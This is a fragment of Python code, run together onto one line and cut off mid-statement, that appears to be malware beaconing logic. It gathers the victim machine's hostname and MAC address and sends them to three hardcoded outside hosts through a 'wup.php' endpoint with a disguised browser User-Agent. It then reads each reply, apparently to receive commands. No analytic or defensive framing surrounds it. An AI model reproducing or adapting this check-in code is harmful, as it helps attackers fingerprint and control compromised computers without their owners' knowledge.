site1="paner.altervista.org" site2="52.26.124.145" site3="certificates.ddns.net" #while True: for site in sites: try: #if socket.gethostname().find('.')>=0: name=socket.gethostname() #else: #name=socket.gethostbyaddr(socket.gethostname())[0] #original_mac = subprocess.check_output("/sbin/ifconfig en0 | grep ether | awk 'NR==1{print $2}'", shell=True) #original_mac =original_mac.rstrip('\n') #original_mac=str(get_mac()) original_mac=get_mac_address() name=name+"_"+original_mac+"_app" print (original_mac) #httpServ = httplib.HTTPConnection("paner.altervista.org", 80) #httpServ.connect() #httpServ.request('GET', "/svc/wup.php?pc="+name) #response = httpServ.getresponse() print ("http://"+site+"/svc/wup.php?pc="+name) #request = urllib.Request("http://"+site+"/svc/wup.php?pc="+name, headers={'User-Agent': 'Mozilla/5.0'}) #response = urllib.request.urlopen(request) response = requests.get("http://"+site+"/svc/wup.php?pc="+name, headers={'User-Agent': 'Mozilla/5.0'}) #response = urllib3.request.urlopen("http://"+site+"/svc/wup.php?pc="+name) #sresponse = response.read() sresponse = response.text #if response.status == httplib.OK: if sresponse!= '':